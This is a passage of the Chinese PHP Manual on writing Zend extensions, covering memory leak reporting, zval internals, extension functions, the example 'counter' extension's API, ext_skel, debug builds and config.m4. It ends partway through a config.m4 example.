Note: 和与 C 标准库相似的部分不同，如果分配请求的内存出错，Zend 引擎的内存管理函数不会返回 NULL 值，而会跳出并中止当前请求。

如上所述，防止有内存泄漏并尽可能快地释放所有内存是内存管理的重要组成部分。因为安全原因，在请求结束时， Zend 引擎会释放所有由上面提到的 API 所分配的内存。如果 PHP 使用 --enable-debug 配置选项进行构建，这将产生一个警告。

Example #1 PHP 的泄漏报警

ZEND_FUNCTION(leak)
{
    long leakbytes = 3;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &leakbytes) == FAILURE) {
        return;
    }

    emalloc(leakbytes);
}

以上例程的输出类似于：

[Thu Oct 22 02:14:57 2009]  Script:  '-'
/home/johannes/src/PHP_5_3/Zend/zend_builtin_functions.c(1377) :  Freeing 0x088888D4 (3 bytes), script=-
=== Total 1 memory leaks detected ===

Note: 当使用 PHP 变量时，需要确认变量的内存要使用 emalloc 来分配，并注意引用计数。相关细节请查看 变量的使用。

Note: 内存泄漏检测仅可以发现由 emalloc 分配内存块导致的泄漏。为进行深层分析，建议使用内存检测器，如 valgrind 或 libumem 等。要简化此分析，可在 PHP 启动时通过设置环境变量 USE_ZEND_ALLOC=0 来禁用 PHP 的内存管理器。

User Contributed Notes

There are no user contributed notes for this page.


数据持久化

User Contributed Notes

There are no user contributed notes for this page.


线程安全的资源管理器

User Contributed Notes

There are no user contributed notes for this page.


变量的使用

Table of Contents

  • 介绍
  • 创建变量并设置值

User Contributed Notes

There are no user contributed notes for this page.


介绍

为了在 PHP 核心中使用变量，就必须要学会 PHP 所使用的基本概念的差异。首先，PHP 是一门动态的弱类型语言。其次，PHP 的写机制里会使用内存处理的引用计数的复本。请查阅引用计数基本知识 章节以获得如何使用计数和引用的细节。

PHP 变量，通常来说，由两部分组成：标签（例如，可能是符号表中的一个条目）和实际变量容器。在此手册的绝大部分内容中都是针对变量容器。

变量容器，在代码中称为 zval，掌握了所需处理变量的所有数据。 包括实际值、当前类型、统计指向此容器的标签的数量，和指示这些标签是引用还是副本的标志。 在 PHP 5.3 中，有关结构可在 Zend/zend.h 中找到，类似于：

typedef struct _zval_struct zval;

typedef union _zvalue_value {
    long lval;                 /* long value */
    double dval;               /* double value */
    struct {                   /* string type */
        char *val;
        int len;
    } str;
    HashTable *ht;             /* hash table value */
    zend_object_value obj;
} zvalue_value;

struct _zval_struct {
    /* Variable information */
    zvalue_value value;        /* value */
    zend_uint refcount__gc;
    zend_uchar type;           /* active type */
    zend_uchar is_ref__gc;
};

在 zvalue_value 中，通过名称和注释可清楚地找到字段所使用的不同类型的内部表现形式——尤其是当你知道 PHP 数组实际上是哈希表时。但是，其中也遗漏了几种 PHP 类型：NULL, boolean 和 resources。NULL 不需要值，NULL 就是此类型的值。对 boolean 和 resource 的值来说，PHP 也使用值字段。比如 boolean 值，为 false 时存放 0，为 true 时存放 1。resource 类型的变量存放的是资源的 id。

现在，有个好消息是你不需要知道这些细节，因为在 PHP 中总是使用宏；坏消息是有很多宏： 有直接存取 zval 的宏，还有经常是指向 zval 的指针，甚至是指向 zval 的指针的指针，大多数宏都有引用这些指针的捷径。这些宏分布于 Zend/zend.h, Zend/zend_operators.h 和 Zend/zend_API.h 之中。

User Contributed Notes

There are no user contributed notes for this page.


创建变量并设置值

User Contributed Notes

There are no user contributed notes for this page.


函数的编写

输出到 PHP 用户层的函数是扩展的一个核心元素。甚至在打算编写面向对象扩展时，也建议阅读此章节，其中大部分信息对于编写方法也是有效的。

给一个扩展增加函数时，例如在使用 ext_skel 脚本创建初始结构后，可创建一个函数由 C 函数来实现，然后在扩展的函数表中提供一个入口。函数入口可含有一个对参数信息结构的指针。 不是必须要提供此信息，除非打算接受参数引用或返回一个引用，及提供由 PHP 的反射 API 访问的信息。在下面例子中，参数不是作为直接函数参数传递的，而是通过一个堆栈(stack)，由函数实现——不能直接作为信息源——进行核对。

Example #1 最小的仅有一个函数的 PHP 扩展

/* {{{ proto void hello_world()
       Do nothing */
PHP_FUNCTION(hello_world)
{
}
/* }}} */

/* {{{ arginfo_hello_world */
ZEND_BEGIN_ARG_INFO(arginfo_hello_world, 0)
ZEND_END_ARG_INFO()
/* }}} */

/* {{{ demo_functions */
function_entry demo_functions[] = {
    PHP_FE(hello_world, arginfo_hello_world)
    {NULL, NULL, NULL}
}
/* }}} */

/* {{{ demo_module_enry */
zend_module_entry demo_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
    STANDARD_MODULE_HEADER,
#endif
    "demo",
    demo_functions,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
#if ZEND_MODULE_API_NO >= 20010901
    "1.0.0",
#en
    STANDARD_MODULE_PROPERTIES
}
/* }}} */

在此例程中，可以你看到上面讨论的元素和模块结构。模块结构可参见 The zend_module structure。

此扩展的第一部分是实际的实现内容。 按照惯例，在每一个输出的函数之前用两行注释及函数后的一行短注释来描述函数的用户层模型。

为了源代码对不同版本 PHP 提供兼容性，函数声明被包装在 PHP_FUNCTION 宏里。编译器的预处理器会使用 PHP 5.3 将此转换为如下函数：

void zif_hello_world(int ht, zval *return_value, zval **return_value_ptr,
                     zval *this_ptr, int return_value_used TSRMLS_DC)
{
}

为预防输出至用户层的函数与其他的同名函数间的命名冲突，输出函数的 C 符号用 zif_ 作为前缀。你也可看到，此模型没有引用参数堆栈。如果存取 PHP 传递的参数，在下面进行描述。下方表格中列举了在 INTERNAL_FUNCTION_PARAMETERS 宏中定义了的 C 语言级别的参数。使用所提供的宏时，请注意这些参数可能在 PHP 版本间会发生变化。

INTERNAL_FUNCTION_PARAMETERS
名称和类型 | 描述 | 访问宏
int ht | 用户实际传递参数的数量 | ZEND_NUM_ARGS()
zval *return_value | PHP 变量的指针，可填充返回值传递给用户。默认值是 IS_NULL。 | RETVAL_*, RETURN_*
zval **return_value_ptr | 当返回引用时，PHP 将其设为变量的指针。不建议返回引用。 |
zval *this_ptr | 假如这是一个方法调用，其指向存放 $this 对象的 PHP 变量。 | getThis()
int return_value_used | 指示返回值是否会被调用者使用的标志。 caller. |

上面所述的函数什么事都不做，只是简单地返回 NULL 给用户。从 PHP 用户层可以带任意数量的参数调用此函数。更有用的函数通常由四部分组成：

  1. 局部变量定义。在 C 语言中必须在函数的开头定义局部变量。

  2. 解析的参数。PHP 传递参数到一个特殊的堆栈上，从那里对参数进行读取、校验类型，有问题时根据需要可进行转换。

  3. 实际逻辑。做所需做的。

  4. 设定返回值，清理，返回。

在某些情况下，这些步骤的实际顺序可能发生变化。尤其是最后两步经常颠倒，但最好保持那个顺序。

Example #2 一个简单的函数

/* {{{ proto void hello_world(string name)
   Greets a user */
PHP_FUNCTION(hello_world)
{
    char *name;
    int name_len;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &name, &name_len) == FAILURE) {
        return;
    }

    php_printf("Hello %s!", name);

    RETURN_TRUE;
}
/* }}} */

上面的函数展示了那些部分。让我们开始分析最后几行：php_printf 可以很容易的被猜到是标准的 C 语言的 printf 针对 PHP 的版本。与 printf 不同，它不是打印到进程的 STDOUT 通道，而是到当前的输出流，可被用户进行缓冲。要注意的是，php_printf 不象大部分 PHP 的 API，它不是二进制安全的。想要二进制安全输出应使用 PHPWRITE。

Note: 通常来说，要直接向输出流打印数据，建议改为返回字符串数据给用户，由用户决定做什么。 此规则的例外情况可能是处理二进制数据（如图像）的函数，API 要求就在函数里提供方法来存取数据。

最后一行的 RETURN_TRUE 宏做了三件事：将 return_value 指针变量的类型设为 IS_BOOLEAN，并将其值设为 true 值。然后从 C 函数中返回。所以当使用此宏时，你就是内存和要结束的其他资源的管家，此函数不会执行其后的代码。

zend_parse_parameters() 函数负责读取用户从参数堆栈传递来参数，并将其适当地转换后放入局部 C 语言变量。如果用户传递的参数个数有误或类型不可被转换， 函数会发出一个冗长的错误信息，并返回 FAILURE。 当从函数简单返回的情况下——不修改 return_value，将默认的返回值 NULL 返回给用户。

Note: 请注意，FAILURE 表示为 -1，SUCCESS 表示为 0。为了使代码清晰，应总是使用已命名的常量而不是其值。

传递给 zend_parse_parameters() 的第一个参数是用户实际传递到函数的参数数量。此数值做为 ht 参数传给函数，但就像上面讨论的那样，应使用做为实现细节的 ZEND_NUM_ARGS()。

为了与 PHP 的线程隔离、线程安全资源管理器兼容，还要用 TSRMLS_CC 传递线程上下文。与其他函数不同，它不能是最后的参数，因为在 zend_parse_parameters 内要求有不定数量的参数——依赖于要读取的用户参数的数量。

在线程上下文之后定义所要求的参数。每个参数都由字符串中的一个字符表示其类型。 如果希望一个字符串参数，则在此类型说明只不过是个 "s"。

最后一个是传递一个或多个指针给要填充变量值的 C 变量，或提供更多细节。比如字符串，事实上的字符串，总是以 NULL 结尾，以 char*，且其长度是除 NULL 字节外的 int 型值。

相关所有类型说明符和对应的附加的 C 语言类型的文档可在源代码发布包中的文件 README.PARAMETER_PARSING_API 中找到。大多数重要类型可见下表。

zend_parse_parameters() 类型说明符
修饰符 | 附加参数的类型 | 描述
b | zend_bool | Boolean 值
l | long | integer (long) 值
d | double | float (double) 值
s | char*, int | 二进制的安全串
h | HashTable* | 数组的哈希表

User Contributed Notes

There are no user contributed notes for this page.


类和对象的使用

User Contributed Notes

There are no user contributed notes for this page.


资源的使用

User Contributed Notes

There are no user contributed notes for this page.


INI 设置的使用

User Contributed Notes

There are no user contributed notes for this page.


流的使用

Note:

用 PHP 源代码操作流的信息可查看 针对 PHP 扩展开发者的流 API 参考.

User Contributed Notes

There are no user contributed notes for this page.


"counter" 扩展 - 一个连续的实例

Table of Contents

  • 安装／配置
  • 预定义常量
  • 范例
  • Counter
  • Basic
  • Extended

序言

贯穿于整个 Zend 文档之中，参考文档中制作了一个实例模块用来阐述各种概念。 "counter"扩展就是这样一个范例，为了阐述各种概念，通过一个假定的但起作用的 Zend 模块，争取在合理情况下地尽可能多地使用 Zend API。这个短章节描述了整个扩展的用户接口。

Note: "counter"没有任何实际用途，所提供的功能就是来提供极为有效的通过适当的用户库实现的代码。

User Contributed Notes

There are no user contributed notes for this page.


安装／配置

Table of Contents

  • 简介
  • 运行时配置
  • 资源类型

User Contributed Notes

There are no user contributed notes for this page.


简介

"counter"扩展提供在 PHP 代码中加入许多计数器，并可由调用者决定什么时候进行重置。

"counter"有 3 种接口: 简单接口, 扩展接口, 对象化接口。 简单接口提供用 INI 设置文件控制的单个计数器的功能调用。 扩展接口提供被命名的任意多个计数器，并可选择进行持久化以用于多个的 PHP 请求生命周期内。 对象化接口则将简单接口和扩展接口融合成为Counter类。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

counter 配置选项
名称 | 默认值 | 可变性 | 修改日志
counter.reset_time | COUNTER_RESET_PER_REQUEST | PHP_INI_ALL |
counter.save_path | "" | PHP_INI_ALL |
counter.initial_value | "0" | PHP_INI_ALL |

有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

counter.reset_time integer
counter.reset_time 使 "counter" 使用简单接口进行重置。 可使用类似 COUNTER_RESET_* 的常量(见下文)。
counter.save_path string
告诉 "counter" 在哪保存那些在启动 PHP 间必需持久化的数据 (比如，计数器包含COUNTER_RESET_NEVER 或 COUNTER_FLAG_SAVE 选项)。一个文件将创建在此路径下，运行 PHP 的用户对此路径必须有可读写权限。
counter.initial_value integer
使用简单接口设置进行重置时，设定的计数器初始值。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

"counter" 扩展定义了一个资源类型：计数器。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

COUNTER_FLAG_PERSIST (integer)
有此标志的计数器会作为持久化资源进行创建。
COUNTER_FLAG_SAVE (integer)
有此标志的计数器会在启动 PHP 间保存。
COUNTER_FLAG_NO_OVERWRITE (integer)
此标志触发 counter_create() 函数以避免覆盖一个名称已存在的计数器而创建一个新的。
COUNTER_META_NAME (string)
传递此常量以获取计数器资源/对象的名称。
COUNTER_META_IS_PERISTENT (string)
传递此常量来指定计数器资源/对象进行持久化 (有 COUNTER_FLAG_PERSIST 标志)
COUNTER_RESET_NEVER (integer)
此计数器不会被重置。
COUNTER_RESET_PER_LOAD (integer)
此计数器每次启动 PHP 时都会被重置。
COUNTER_RESET_PER_REQUEST (integer)
此计数器每次请求时都会被重置。

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • 简单接口
  • 扩展接口
  • 对象化接口

User Contributed Notes

There are no user contributed notes for this page.


简单接口

简单接口提供 3 个简单的函数，实例如下：

Example #1 "counter"的简单接口

<?php
$starting_counter_value = counter_get();
counter_bump(1);
$second_counter_value = counter_get();
counter_reset();
$final_counter_value = counter_get();
printf("%3d %3d %3d", $starting_counter_value, $second_counter_value, $final_counter_value);
?>

以上例程会输出：

  0   1   0

简单接口也提供一系列 INI settings.

User Contributed Notes

There are no user contributed notes for this page.


扩展接口

扩展接口提供小的一整套函数，允许用户根据设置定义任意数量名称唯一的计数器。简单接口可与扩展接口同时使用。

Example #1 "counter"的扩展接口

<?php
function print_counter_info($counter)
{
    if (is_resource($counter)) {
        printf("计数器的名称为 '%s'，且%s进行持久化。其当前值为 %d.\n",
            counter_get_meta($counter, COUNTER_META_NAME),
            counter_get_meta($counter, COUNTER_META_IS_PERSISTENT) ? '' : '不',
            counter_get_value($counter));
    } else {
      print "计数器无效!\n";
    }
}

if (($counter_one = counter_get_named("one")) === NULL) {
    $counter_one = counter_create("one", 0, COUNTER_FLAG_PERSIST);
}
counter_bump_value($counter_one, 2);
$counter_two = counter_create("two", 5);
$counter_three = counter_get_named("three");
$counter_four = counter_create("four", 2, COUNTER_FLAG_PERSIST | COUNTER_FLAG_SAVE | COUNTER_FLAG_NO_OVERWRITE);
counter_bump_value($counter_four, 1);

print_counter_info($counter_one);
print_counter_info($counter_two);
print_counter_info($counter_three);
print_counter_info($counter_four);
?>

首次运行时，以上例子的输出为：

计数器的名称为 'one'，且进行持久化。其当前值为 2.
计数器的名称为 'two'，且不进行持久化。其当前值为 5.
计数器无效!
计数器的名称为 'four'，且进行持久化。其当前值为 3.

在同一 PHP 实例中第 2 次运行时的输出为:

计数器的名称为 'one'，且进行持久化。其当前值为 4.
计数器的名称为 'two'，且不进行持久化。其当前值为 5.
计数器无效!
计数器的名称为 'four'，且进行持久化。其当前值为 4.

在另一个 PHP 实例中第 3 次运行时的输出为：

计数器的名称为 'one'，且进行持久化。其当前值为 2.
计数器的名称为 'two，且不进行持久化。其当前值为 5.
计数器无效!
计数器的名称为 'four'，且进行持久化。其当前值为 5.

User Contributed Notes

There are no user contributed notes for this page.


对象化接口

对象接口提供一个面向对象的方式来访问扩展接口。下面的例子显示了使用对象化接口实现上面的例子。此例子的输出，除了所显示"计数器无效!"变为由 PHP 发出的变量 $counter_three 不是对象的警告信息以外，其他完全一样。此例子展示了定义在扩展中定义的 Counter 的子类，并对实例变量而不是用方法存取计数器的值。

Example #1 "counter" 的对象化接口

<?php
class MyCounter extends Counter
{
    public function printCounterInfo() {
        printf("计数器的名称为 '%s'，且%s进行持久化。其当前值为 %d.\n",
            $this->getMeta(COUNTER_META_NAME),
            $this->getMeta(COUNTER_META_IS_PERSISTENT) ? '' : '不',
            $this->value);
    }
}

Counter::setCounterClass("MyCounter");
if (($counter_one = Counter::getNamed("one")) === NULL) {
    $counter_one = new Counter("one", 0, COUNTER_FLAG_PERSIST);
}
$counter_one->bumpValue(2); // 不允许直接 "set" 值
$counter_two = new Counter("two", 5);
$counter_three = Counter::getNamed("three");
$counter_four = new Counter("four", 2, COUNTER_FLAG_PERSIST | COUNTER_FLAG_SAVE | COUNTER_FLAG_NO_OVERWRITE);
$counter_four->bumpValue(1);

$counter_one->printCounterInfo();
$counter_two->printCounterInfo();
$counter_three->printCounterInfo();
$counter_four->printCounterInfo();
?>

User Contributed Notes

There are no user contributed notes for this page.


Counter 类

简介

表示一个独立的计数器对象。

类摘要

Counter {
__construct ( string $name [, integer $initial_value [, integer $flags ]] )
getValue ( void ) : integer
bumpValue ( integer $offset ) : void
resetValue ( void ) : void
getMeta ( integer $attribute ) : mixed
static getNamed ( string $name ) : Counter
static setCounterClass ( string $name ) : void
}

Table of Contents

  • Counter::__construct — 创建一个包含单一数值的计数器实例。
  • Counter::getValue — 获取计数器的当前值。
  • Counter::bumpValue — 修改计数器的当前值。
  • Counter::resetValue — 重置计数器的当前值。
  • Counter::getMeta — 返回计数器的部分元信息。
  • Counter::getNamed — 取回一个名称已存在的计数器。
  • Counter::setCounterClass — 设置由 Counter::getNamed 返回的计数器类。

User Contributed Notes

There are no user contributed notes for this page.


创建一个包含单一数值的计数器实例。

  • ? Counter
  • Counter::getValue ?
  • PHP Manual
  • Counter
  • 创建一个包含单一数值的计数器实例。

Counter::__construct

Counter::__construct — 创建一个包含单一数值的计数器实例。

说明

Counter::__construct ( string $name [, integer $initial_value [, integer $flags ]] )

创建一个包含单一数值的 Counter 实例。

参数

name
新计数器的名称。
initial_value
计数器的初始值。默认为零(0)。
flags
新计数器的标志，可在形如 COUNTER_FLAG_* 的常量中选择。

返回值

成功则返回 Counter 对象。

错误／异常

Counter::__construct() 在有错时抛出一个异常(Exception)。

User Contributed Notes

There are no user contributed notes for this page.


获取计数器的当前值。

  • ? Counter::__construct
  • Counter::bumpValue ?
  • PHP Manual
  • Counter
  • 获取计数器的当前值。

Counter::getValue

Counter::getValue — 获取计数器的当前值。

说明

Counter::getValue ( void ) : integer

Counter::getValue() 返回计数器的当前值

返回值

Counter::getValue() 返回一个整数。

参见

  • Counter::bumpValue() - 修改计数器的当前值。
  • Counter::resetValue() - 重置计数器的当前值。

User Contributed Notes

There are no user contributed notes for this page.


修改计数器的当前值。

  • ? Counter::getValue
  • Counter::resetValue ?
  • PHP Manual
  • Counter
  • 修改计数器的当前值。

Counter::bumpValue

Counter::bumpValue — 修改计数器的当前值。

说明

Counter::bumpValue ( integer $offset ) : void

Counter::bumpValue() 更新计数器的当前值。

参数

offset
计数器值的变化量。可为负数。

参见

  • Counter::getValue() - 获取计数器的当前值。
  • Counter::resetValue() - 重置计数器的当前值。

User Contributed Notes

There are no user contributed notes for this page.


重置计数器的当前值。

  • ? Counter::bumpValue
  • Counter::getMeta ?
  • PHP Manual
  • Counter
  • 重置计数器的当前值。

Counter::resetValue

Counter::resetValue — 重置计数器的当前值。

说明

Counter::resetValue ( void ) : void

Counter::resetValue() 将计数器的当前值重置为其初始值。

参见

  • Counter::getValue() - 获取计数器的当前值。
  • Counter::bumpValue() - 修改计数器的当前值。

User Contributed Notes

There are no user contributed notes for this page.


返回计数器的部分元信息。

  • ? Counter::resetValue
  • Counter::getNamed ?
  • PHP Manual
  • Counter
  • 返回计数器的部分元信息。

Counter::getMeta

Counter::getMeta — 返回计数器的部分元信息。

说明

Counter::getMeta ( integer $attribute ) : mixed

Counter::getMeta() 返回一个计数器的元信息。

参数

attribute
要取回的元信息。

返回值

Counter::getMeta() 根据所请求的元数据返回不同类型的值。

User Contributed Notes

There are no user contributed notes for this page.


取回一个名称已存在的计数器。

  • ? Counter::getMeta
  • Counter::setCounterClass ?
  • PHP Manual
  • Counter
  • 取回一个名称已存在的计数器。

Counter::getNamed

Counter::getNamed — 取回一个名称已存在的计数器。

说明

static Counter::getNamed ( string $name ) : Counter

Counter::getNamed() 通过名称查询一个已存在的计数器，不存在则返回NULL。这是静态函数。

参数

name
要查询的计数器名称。

返回值

Counter::getNamed() 通过名称查询一个已存在的计数器，不存在则返回NULL。

User Contributed Notes

There are no user contributed notes for this page.


设置由 Counter::getNamed 返回的计数器类。

  • ? Counter::getNamed
  • Basic ?
  • PHP Manual
  • Counter
  • 设置由 Counter::getNamed 返回的计数器类。

Counter::setCounterClass

Counter::setCounterClass — 设置由 Counter::getNamed() 返回的计数器类。

说明

static Counter::setCounterClass ( string $name ) : void

Counter::setCounterClass() 改变由 Counter::getNamed() 返回的对象的类。要设置的类可以没有 pulic 的构造器，但必须是 Counter 的子类。如果不满足这些条件，则会引发致命错误。这是静态函数。

参数

name
要使用的类名。

User Contributed Notes

There are no user contributed notes for this page.


简单接口

Table of Contents

  • counter_get — 获取简单计数器的当前值。
  • counter_bump — 修改简单计数器的当前值。
  • counter_reset — 重置简单计数器的当前值。

User Contributed Notes

There are no user contributed notes for this page.


获取简单计数器的当前值。

  • ? Basic
  • counter_bump ?
  • PHP Manual
  • Basic
  • 获取简单计数器的当前值。

counter_get

counter_get — 获取简单计数器的当前值。

说明

counter_get ( void ) : integer

counter_get() 返回使用简单接口的计数器的当前值。

返回值

counter_get() 返回一个整数。

参见

  • counter_bump() - 修改简单计数器的当前值。
  • counter_reset() - 重置简单计数器的当前值。

User Contributed Notes

There are no user contributed notes for this page.


修改简单计数器的当前值。

  • ? counter_get
  • counter_reset ?
  • PHP Manual
  • Basic
  • 修改简单计数器的当前值。

counter_bump

counter_bump — 修改简单计数器的当前值。

说明

counter_bump ( integer $offset ) : void

counter_bump() 修改使用简单接口的计数器的当前值。

参数

offset
计数器值的变化量。可为负数。

参见

  • counter_get() - 获取简单计数器的当前值。
  • counter_reset() - 重置简单计数器的当前值。

User Contributed Notes

There are no user contributed notes for this page.


重置简单计数器的当前值。

  • ? counter_bump
  • Extended ?
  • PHP Manual
  • Basic
  • 重置简单计数器的当前值。

counter_reset

counter_reset — 重置简单计数器的当前值。

说明

counter_reset ( void ) : void

counter_reset() 重置使用简单接口的计数器的当前值。.

参见

  • counter_get() - 获取简单计数器的当前值。
  • counter_bump() - 修改简单计数器的当前值。

User Contributed Notes

There are no user contributed notes for this page.


扩展接口

Table of Contents

  • counter_create — 创建一个包含单个数值的计数器。
  • counter_get_value — 获取计数器资源的当前值。
  • counter_bump_value — 更新计数器资源的当前值。
  • counter_reset_value — 重置计数器资源的当前值。
  • counter_get_meta — 返回计数器资源的部分元信息。
  • counter_get_named — 按名称查询一个已存在的计数器，并作为资源返回。

User Contributed Notes

There are no user contributed notes for this page.


创建一个包含单个数值的计数器。

  • ? Extended
  • counter_get_value ?
  • PHP Manual
  • Extended
  • 创建一个包含单个数值的计数器。

counter_create

counter_create — 创建一个包含单个数值的计数器。

说明

counter_create ( string $name [, integer $initial_value [, integer $flags ]] ) : resource

创建一个包含单个数值的计数器。

参数

name
新的计数器名称。
initial_value
计数器的初值值. 默认为零(0)。
flags
新计数器的标志, 从形如 COUNTER_FLAG_* 的常量中选择。

返回值

返回计数器资源。

User Contributed Notes

There are no user contributed notes for this page.


获取计数器资源的当前值。

  • ? counter_create
  • counter_bump_value ?
  • PHP Manual
  • Extended
  • 获取计数器资源的当前值。

counter_get_value

counter_get_value — 获取计数器资源的当前值。

说明

counter_get_value ( resource $counter ) : integer

counter_get_value() 返回计数器资源的当前值。

参数

counter
要操作的计数器资源。

返回值

counter_get_value() 返回一个整数.

参见

  • counter_bump_value() - 更新计数器资源的当前值。
  • counter_reset_value() - 重置计数器资源的当前值。

User Contributed Notes

There are no user contributed notes for this page.


更新计数器资源的当前值。

  • ? counter_get_value
  • counter_reset_value ?
  • PHP Manual
  • Extended
  • 更新计数器资源的当前值。

counter_bump_value

counter_bump_value — 更新计数器资源的当前值。

说明

counter_bump_value ( resource $counter , integer $offset ) : void

counter_bump_value() 更新计数器资源的当前值。

参数

counter
要操作的计数器资源。
offset
计数器值的变化量。可为负数。

参见

  • counter_get_value() - 获取计数器资源的当前值。
  • counter_reset_value() - 重置计数器资源的当前值。

User Contributed Notes

There are no user contributed notes for this page.


重置计数器资源的当前值。

  • ? counter_bump_value
  • counter_get_meta ?
  • PHP Manual
  • Extended
  • 重置计数器资源的当前值。

counter_reset_value

counter_reset_value — 重置计数器资源的当前值。

说明

counter_reset_value ( resource $counter ) : void

counter_reset_value() 将计数器资源的当前值重置为其初始值。

参数

counter
要操作的计数器资源。

参见

  • counter_get_value() - 获取计数器资源的当前值。
  • counter_bump_value() - 更新计数器资源的当前值。

User Contributed Notes

There are no user contributed notes for this page.


返回计数器资源的部分元信息。

  • ? counter_reset_value
  • counter_get_named ?
  • PHP Manual
  • Extended
  • 返回计数器资源的部分元信息。

counter_get_meta

counter_get_meta — 返回计数器资源的部分元信息。

说明

counter_get_meta ( resource $counter , integer $attribute ) : mixed

counter_get_meta() 返回计数器资源的元信息。

参数

counter
要操作的计数器资源。
attribute
要取回的元信息。

返回值

counter_get_meta() 根据所请求的元数据返回不同类型的值。

User Contributed Notes

There are no user contributed notes for this page.


按名称查询一个已存在的计数器，并作为资源返回。

  • ? counter_get_meta
  • PHP 5 构建系统 ?
  • PHP Manual
  • Extended
  • 按名称查询一个已存在的计数器，并作为资源返回。

counter_get_named

counter_get_named — 按名称查询一个已存在的计数器，并作为资源返回。

说明

Counter::getNamed ( string $name ) : resource

counter_get_named() 返回一个存在的计数器名称名称不存在则返回NULL。

参数

name
要查询的计数器名称。

返回值

counter_get_name() 返回一个存在的计数器名称，名称不存在则返回NULL。

User Contributed Notes

There are no user contributed notes for this page.


PHP 5 构建系统

Table of Contents

  • PHP 扩展开发构建
  • ext_skel 脚本
  • 与 UNIX 构建系统交互: config.m4
  • 使用 Windows 构建系统：config.w32

有了在 PHP 5 中的所有功能及灵活性，不用惊奇构建系统由几千个文件组成，有超过一百万行源代码。同样别惊奇构建系统管理如此之多数据的必要性。此章节描述了如何着手开发 PHP 扩展， 扩展在 PHP 源代码树中的布局，以及扩展如何与构建系统对接。

User Contributed Notes

There are no user contributed notes for this page.


PHP 扩展开发构建

在一个典型的 PHP 安装中，高性能的需要几乎总是造成以调试的便利为代价的优化。这是产品所使用的合理折衷方案，但当开发扩展时却达不到标准。 我们所需要的是 PHP 的安装包，以提示我们做什么事会出错。

Zend 引擎提供了一个内存管理器，有在扩展中跟踪内存泄漏的能力并提供详尽的调试信息。跟踪在默认情况下是被禁用的，同时也是线程安全的。要打开的话，应将 --enable-debug 和 --enable-maintainer-zts 选项与其他常用选项一起传给 configure。要获得从源代码构建 PHP 的说明，请看位于 安装前需要考虑的事项 的说明。典型的 configure 命令行可能看起来象这样：

$ ./configure --prefix=/where/to/install/php --enable-debug --enable-maintainer-zts --enable-cgi --enable-cli --with-mysql=/path/to/mysql

User Contributed Notes

rich dot d dot rich at gmail dot com 02-Apr-2011 03:51
This may be obvious, but if you are installing PHP under a home directory, don't enter '--prefix=~/place'. Use the full form '--prefix=/home/fred/place'.

Otherwise, it will half work and cause problems (because the shell char gets expanded in some places and not others).


ext_skel 脚本

PHP 扩展由几个文件组成，这些文件对所有扩展来说都是通用的。不同扩展之间，这些文件的很多细节是相似的，只是要费力去复制每个文件的内容。幸运的是，有脚本可以做所有的初始化工作，名为 ext_skel，自 PHP 4.0 起与其一起分发。

不带参数运行 ext_skel 在 PHP 5.2.2 中会产生以下输出：

php-5.2.2/ext$ ./ext_skel
./ext_skel --extname=module [--proto=file] [--stubs=file] [--xml[=file]]
           [--skel=dir] [--full-xml] [--no-help]

  --extname=module   module is the name of your extension
  --proto=file       file contains prototypes of functions to create
  --stubs=file       generate only function stubs in file
  --xml              generate xml documentation to be added to phpdoc-cvs
  --skel=dir         path to the skeleton directory
  --full-xml         generate xml documentation for a self-contained extension
                     (not yet implemented)
  --no-help          don't try to be nice and create comments in the code
                     and helper functions to test if the module compiled
通常来说，开发一个新扩展时，仅需关注的参数是 --extname 和 --no-help。除非已经熟悉扩展的结构，不要想去使用 --no-help; 指定此参数会造成 ext_skel 不会在生成的文件里省略很多有用的注释。

剩下的 --extname 会将扩展的名称传给 ext_skel。"name" 是一个全为小写字母的标识符，仅包含字母和下划线，在 PHP 发行包的 ext/ 文件夹下是唯一的。

--proto 选项允许开发人员指定一个头文件，由此创建一系列 PHP 函数，表面上看就是要开发基于一个函数库的扩展，但对大多数头现代的文件来说很少能起作用。如果用 zlib.h 头文件来做测试，就会导致在 ext_skel 的输出文件中存在大量的空的和无意义的原型文件。--xml 和 --full-xml 选项当前完全不起作用。--skel 选项可用于指定用一套修改过的框架文件来工作，这是本节范围之外的话题了。

User Contributed Notes

There are no user contributed notes for this page.


与 UNIX 构建系统交互: config.m4

扩展的 config.m4 文件告诉 UNIX 构建系统哪些扩展 configure 选项是支持的，你需要哪些扩展库，以及哪些源文件要编译成它的一部分。对所有经常使用的 autoconf 宏，包括 PHP 特定的及 autoconf 内建的，请查看 Zend Engine 2 API 参考 章节。

Tip

当开发 PHP 扩展时，强烈建议安装 autoconf 2.13 版，尽管用更新的版本可使用。2.13 版被认为是在 autoconf 中可用性，适用性及用户基础等方面最好的版本。使用最新版本有时会与所期望的 configure 输出在样式上有所不同。

Example #1 config.m4 文件举例

dnl $Id$
dnl config.m4 for extension example
PHP_ARG_WITH(example, for example support,
[  --with-example[=FILE]       Include example support. File is the optional path to example-config])
PHP_ARG_ENABLE(example-debug, whether to enable debugging support in example,
[  --enable-example-debug        example: Enable debugging support in example], no, no)
PHP_ARG_WITH(example-extra, for extra libraries for example,
[  --with-example-extra=DIR      example: Location of extra libraries for example], no, no)

dnl 检测扩展是否已启用
if test "$PHP_EXAMPLE" != "no"; then

  dnl 检测 example-config。首先尝试所给出的路径，然后在 $PATH 中寻找
  AC_MSG_CHECKING([for example-config])
  EXAMPLE_CONFIG="example-config"
  if test "$PHP_EXAMPLE" != "yes"; then
    EXAMPLE_PATH=$PHP_EXAMPLE
  else
    EXAMPLE_PATH=`$php_shtool path $EXAMPLE_CONFIG`
  fi

  dnl 如果找到可用的 example-config，就使用它
  if test -f "$EXAMPLE_PATH" && test -x "$EXAMPLE_PATH" && $EXAMPLE_PATH --version > /dev/null 2>&1; then
    AC_MSG_RESULT([$EXAMPLE_PATH])
    EXAMPLE_LIB_NAME=`$EXAMPLE_PATH --libname`
    EXAMPLE_INCDIRS=`$EXAMPLE_PATH --incdirs`
